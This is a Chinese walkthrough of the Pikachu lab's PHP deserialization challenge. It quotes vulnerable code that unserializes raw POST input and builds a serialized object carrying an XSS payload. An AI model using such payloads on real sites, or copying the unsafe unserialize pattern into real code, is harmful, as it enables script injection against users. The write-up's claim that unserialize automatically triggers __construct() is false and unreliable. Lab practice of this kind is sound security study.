pikachu靶场PHP反序列化漏洞
源码分析
查看源代码
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
// O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>";
}
}
- $s 接受上传的参数
$s = $_POST['o'];
- 判断是否能够被反序列化,即上传的参数是否经过序列化
if(!@$unser = unserialize($s))
- 如果上传的序列化后的参数,将上传的数据反序列化后,自动执行魔术方法 __construct() ,$unser->test 用来输出反序列化后的对象的 test 属性的值到页面上
构造payload
<?php
class S{
var $test = "<script>alert(/zs/)</script>";
}
// 创建一个对象
$s = new S();
//把这个对象进行序列号输出
print_r(serialize($s));
?>
在浏览器访问后,发现 直接弹出一个提示框,是因为浏览器识别到 <script>标签 然后直接执行了,
可以把 <script> 标签的 < 用一个占位符代替,比如用 * 代替,代码如下
<?php
class S{
var $test = "*script>alert(/zs/)*/script>";
}
// 创建一个对象
$s = new S();
//把这个对象进行序列号输出
print_r(serialize($s));
?>
然后讲 * 替换回 <
O:1:"S":1:{s:4:"test";s:28:"<script>alert(/zs/)</script>";}
然后提交执行
完成!